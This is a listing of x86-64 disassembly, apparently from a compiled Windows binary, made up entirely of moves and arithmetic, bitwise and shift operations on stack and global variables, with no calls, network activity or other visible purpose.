mov ecx, dword [rsp + 0x3e24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
lea rax, [rsp + 0x3694]
mov qword [0x14019d998], rax
lea rax, [rsp + 0x3400]
mov qword [rsp + 0xb0c0], rax
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1004]
add eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0xad60]
movzx eax, byte [rax]
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x18d]
movzx ecx, byte [rsp + 0x19f]
and eax, ecx
mov rcx, qword [rsp + 0xa958]
mov byte [rcx], al
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
mov rcx, qword [0x14019d878]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1024], ax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4130]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df8], eax
mov rax, qword [rsp + 0xa830]
mov rcx, qword [rsp + 0xa6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42e8], eax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0xb0c8], rax
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d860]
mov word [rcx], ax
mov eax, dword [rsp + 0x41f0]
movzx ecx, al
mov eax, dword [rsp + 0x41b0]
shr eax, cl
mov dword [rsp + 0x439c], eax
mov eax, dword [rsp + 0x4080]
mov ecx, dword [0x14019bf50]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c38]
mov dword [rsp + 0x4410], eax
mov rax, qword [rsp + 0xaa60]
mov ecx, dword [0x14019bf34]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xac60]
mov byte [rcx], al
lea rax, [rsp + 0x4380]
mov qword [rsp + 0xb0d0], rax
mov rax, qword [0x14019d808]
mov rcx, qword [rsp + 0xb080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4170], eax
movsx eax, byte [rsp + 0x18c]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [0x14019d795], al
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0xfc8]
sub eax, ecx
mov word [rsp + 0xfa0], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov word [rsp + 0x102c], ax
lea rax, [rsp + 0x43c0]
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xa988]
mov rcx, qword [rsp + 0xaf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b8], eax
lea rax, [rsp + 0x440c]
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0xac90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bf0a], al
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xab08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c7c], eax
mov eax, dword [rsp + 0x433c]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x415c], eax
lea rax, [rsp + 0x4278]
mov qword [rsp + 0xb0e8], rax
mov eax, dword [rsp + 0x43a4]
movzx ecx, al
mov eax, dword [rsp + 0x4214]
shl eax, cl
mov rcx, qword [rsp + 0xab08]
mov dword [rcx], eax
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xb0f0], rax
movzx eax, byte [rsp + 0x179]
movzx ecx, byte [rsp + 0x158]
sar eax, cl
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
lea rax, [rsp + 0x1004]
mov qword [rsp + 0xb0f8], rax
movsx eax, byte [rsp + 0x18f]
mov rcx, qword [rsp + 0xab70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
or ecx, eax
mov eax, ecx
mov dword [0x14019bf70], eax
mov rax, qword [rsp + 0xaad0]
mov ecx, dword [rsp + 0x4348]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov dword [rcx], eax
lea rax, [rsp + 0xfe0]
mov qword [rsp + 0xb100], rax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0xae58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0xb108], rax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4210]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4360], eax
mov rax, qword [0x14019d930]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf30]
mov dword [rcx], eax
lea rax, [rsp + 0x4410]
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17d]
add eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [0x14019d860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d910]
mov word [rcx], ax
lea rax, [rsp + 0x4388]
mov qword [rsp + 0xb118], rax
mov eax, dword [rsp + 0x4260]
mov ecx, dword [rsp + 0x426c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xafb8]
mov eax, dword [rax]
mov ecx, dword [0x14019d830]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0xaff0]
mov eax, dword [rax]
mov dword [rsp + 0x4414], eax
mov eax, dword [0x14019bf4c]
mov ecx, dword [rsp + 0x3c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
movzx eax, word [rsp + 0xf7c]
mov word [rsp + 0x1034], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [0x14019d8d0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019d7b2], al
mov eax, dword [rsp + 0x3f5c]
mov dword [rsp + 0x4418], eax
mov rax, qword [0x14019d820]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xb120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb120]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x439c], eax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf38]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [0x14019d808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b98], eax
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x42f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa840]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xab58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41e4], eax
mov rax, qword [rsp + 0xac10]
mov eax, dword [rax]
mov dword [rsp + 0x441c], eax
movzx eax, byte [rsp + 0x1a0]
mov byte [0x14019d7b4], al
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0xed4]
add eax, ecx
mov rcx, qword [rsp + 0xaf98]
mov word [rcx], ax
mov eax, dword [0x14019bf48]
mov dword [rsp + 0x4420], eax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [0x14019d940]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0xfb0]
sub eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0xad28]
movzx eax, byte [rax]
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0xaca8]
mov ecx, dword [0x14019bf10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40f0], eax
lea rax, [rsp + 0x4178]
mov qword [0x14019d9a0], rax
mov rax, qword [rsp + 0xac70]
mov ecx, dword [rsp + 0x42b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x441c], eax
mov eax, dword [rsp + 0x43ec]
mov dword [rsp + 0x4424], eax
mov eax, dword [rsp + 0x4324]
mov ecx, dword [rsp + 0x3d34]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov dword [rcx], eax
movzx eax, word [rsp + 0xebc]
mov word [rsp + 0x103c], ax
movzx eax, byte [rsp + 0x171]
movzx ecx, byte [0x14019d7b2]
shl eax, cl
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xadc0]
mov rcx, qword [rsp + 0xb058]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x421c], eax
mov eax, dword [rsp + 0x43a4]
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0xa920]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaa48]
mov qword [rsp + 0xb128], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb128]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xafb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4414]
mov ecx, dword [rsp + 0x437c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d828]
mov dword [rcx], eax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xab00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov word [rsp + 0xff8], ax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xb018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a]
and eax, ecx
mov byte [rsp + 0x1a1], al
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0xad50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaec8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
lea rax, [0x14019bf03]
mov qword [rsp + 0xb148], rax
mov rax, qword [rsp + 0xa888]
mov ecx, dword [rsp + 0x4280]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf74], eax
mov eax, dword [rsp + 0x4310]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3494], eax
mov rax, qword [rsp + 0xaa90]
mov ecx, dword [rsp + 0x41dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x36fc], eax
lea rax, [rsp + 0x41e0]
mov qword [rsp + 0xb150], rax
mov rax, qword [rsp + 0xac78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa970]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x191], al
mov rax, qword [0x14019d878]
movzx eax, word [rax]
mov word [rsp + 0x1040], ax
mov eax, dword [rsp + 0x43fc]
mov ecx, dword [rsp + 0x3e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43cc], eax
mov eax, dword [rsp + 0x4348]
mov ecx, dword [rsp + 0x3b8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4260], eax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xb158], rax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42d4]
sar eax, cl
mov dword [0x14019d8b0], eax
mov rax, qword [rsp + 0xaa10]
mov rcx, qword [0x14019d990]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0xabd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xafe8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfec]
shl eax, cl
mov word [rsp + 0x1038], ax
mov rax, qword [0x14019d8f0]
movzx eax, word [rax]
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0xabb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa748]
mov ecx, dword [rsp + 0x3dd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4390], eax
lea rax, [0x14019d7e0]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa9f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf94], ax
lea rax, [rsp + 0x187]
mov qword [0x14019d9a8], rax
lea rax, [rsp + 0x41e8]
mov qword [rsp + 0xb168], rax
mov eax, dword [rsp + 0x4248]
mov ecx, dword [0x14019d920]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0xad20]
mov ecx, dword [rsp + 0x4334]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4394], eax
lea rax, [rsp + 0x3348]
mov qword [rsp + 0xb170], rax
mov rax, qword [rsp + 0xae58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x179], al
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xb178], rax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xad20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43ac], eax
mov rax, qword [rsp + 0xa6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa790]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d940]
mov word [rcx], ax
lea rax, [0x14019d795]
mov qword [rsp + 0xb180], rax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0xeb8]
xor eax, ecx
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a5], al
mov eax, dword [rsp + 0x4130]
mov ecx, dword [rsp + 0x4358]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4250]
movzx ecx, al
mov eax, dword [rsp + 0x4404]
shr eax, cl
mov dword [rsp + 0x42a4], eax
lea rax, [rsp + 0x4344]
mov qword [rsp + 0xb188], rax
mov eax, dword [rsp + 0x41b4]
movzx ecx, al
mov eax, dword [rsp + 0x415c]
shl eax, cl
mov dword [rsp + 0x43a8], eax
mov eax, dword [rsp + 0x41f4]
mov dword [rsp + 0x442c], eax
movzx eax, word [rsp + 0xfd0]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1010], ax
movzx eax, byte [rsp + 0x16a]
movzx ecx, byte [rsp + 0x168]
add eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xb190], rax
mov eax, dword [rsp + 0x43e0]
mov ecx, dword [rsp + 0x41d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3908]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa708]
mov eax, dword [rax]
mov dword [rsp + 0x4430], eax
movzx eax, word [rsp + 0xf28]
movzx ecx, word [rsp + 0xfd4]
sub eax, ecx
mov word [rsp + 0xffc], ax
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
movsx ecx, word [str.3K6LAu_]
add eax, ecx
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0x40f0]
mov qword [0x14019d9b0], rax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xb198], rax
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaee0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1040], ax
movzx eax, byte [0x14019900e]
mov byte [rsp + 0x1a7], al
mov eax, dword [rsp + 0x4180]
mov ecx, dword [rsp + 0x442c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4260], eax
mov rax, qword [rsp + 0xab08]
mov rcx, qword [rsp + 0xa728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b0], eax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0xb1a0], rax
mov eax, dword [rsp + 0x4338]
mov rcx, qword [rsp + 0xaa90]
mov qword [rsp + 0xb1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xaf90]
mov dword [rcx], eax
lea rax, [rsp + 0x16a]
mov qword [rsp + 0xb1b0], rax
movzx eax, word [rsp + 0xfd4]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14019d838]
mov word [rcx], ax
mov eax, dword [rsp + 0x4284]
mov ecx, dword [rsp + 0x40f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x439c], eax
lea rax, [rsp + 0x41a8]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov rcx, qword [0x14019d8a8]
mov qword [rsp + 0xb1c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1c0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb188]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4378]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef8], eax
mov eax, dword [rsp + 0x41b8]
mov dword [rsp + 0x4434], eax
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
mov rcx, qword [rsp + 0xae88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1a1]
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0xb020]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
lea rax, [0x14019d958]
mov qword [0x14019d9b8], rax
mov rax, qword [rsp + 0xacf8]
mov ecx, dword [rsp + 0x41d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e24]
mov ecx, dword [rsp + 0x41c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xa9d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf98]
movzx eax, word [rax]
mov word [rsp + 0x1048], ax
mov eax, dword [rsp + 0x4348]
mov ecx, dword [rsp + 0x4200]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4408], eax
mov eax, dword [rsp + 0x4190]
mov ecx, dword [rsp + 0x42bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb068]
mov eax, dword [rax]
mov dword [rsp + 0x4438], eax
mov eax, dword [0x14019bf40]
mov ecx, dword [rsp + 0x4188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x35e8], eax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0xabe8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d794], al
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xb1c8], rax
mov eax, dword [0x14019d840]
mov ecx, dword [rsp + 0x42b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaab8]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xae30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad60]
movzx eax, byte [rax]
mov byte [rsp + 0x1a9], al
movsx eax, word [rsp + 0x1004]
movsx ecx, word [rsp + 0xee0]
shl eax, cl
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xb158]
mov eax, dword [rax]
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bf78], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4324]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1a0]
mov dword [rcx], eax
mov rax, qword [0x14019d7f0]
mov rcx, qword [rsp + 0xaaa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x427c], eax
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xb1d0], rax
mov rax, qword [rsp + 0xaa28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0x168], al
movzx eax, word [0x14019d870]
mov word [rsp + 0x1050], ax
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x4168]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c8], eax
mov rax, qword [rsp + 0xa888]
mov rcx, qword [rsp + 0xab08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xac98]
mov dword [rcx], eax
mov eax, dword [0x14019bf18]
mov dword [rsp + 0x4440], eax
lea rax, [rsp + 0x40e4]
mov qword [0x14019d9c0], rax
movzx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0xab10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
and eax, ecx
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0xb0a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
add eax, ecx
mov word [rsp + 0xfc8], ax
lea rax, [0x14019d908]
mov qword [rsp + 0xb1d8], rax
mov eax, dword [rsp + 0x4394]
mov rcx, qword [rsp + 0xaa30]
mov qword [rsp + 0xb1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xab78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x165]
movzx ecx, byte [rsp + 0x1a0]
or eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [0x14019d8d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xab18]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c7c]
movzx ecx, al
mov eax, dword [rsp + 0x3f5c]
shr eax, cl
mov rcx, qword [0x14019d7e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4184]
mov ecx, dword [rsp + 0x426c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaf50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadc0]
mov eax, dword [rax]
mov dword [rsp + 0x4444], eax
mov rax, qword [rsp + 0xa708]
mov ecx, dword [rsp + 0x41b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41f0], eax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x1ab], al
mov rax, qword [0x14019d860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfcc]
add eax, ecx
mov word [rsp + 0x1018], ax
lea rax, [rsp + 0x441c]
mov qword [rsp + 0xb1e8], rax
mov rax, qword [0x14019d808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e24], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xa8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d930]
mov dword [rcx], eax
mov rax, qword [0x14019d998]
mov eax, dword [rax]
mov dword [rsp + 0x4448], eax
movsx eax, byte [rsp + 0x18f]
movsx ecx, byte [rsp + 0x14a]
sub eax, ecx
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
mov rcx, qword [0x14019d968]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa730]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17b], al
mov eax, dword [rsp + 0x43b4]
mov dword [rsp + 0x444c], eax
mov rax, qword [rsp + 0xa7b8]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x42e0], eax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xb1f0], rax
lea rax, [rsp + 0x15b]
mov qword [0x14019d9c8], rax
mov rax, qword [0x14019d8c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xb1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4148], eax
mov eax, dword [rsp + 0x4414]
mov rcx, qword [rsp + 0xabd0]
mov qword [rsp + 0xb200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4448], eax
lea rax, [rsp + 0x43a8]
mov qword [rsp + 0xb208], rax
mov rax, qword [rsp + 0xa728]
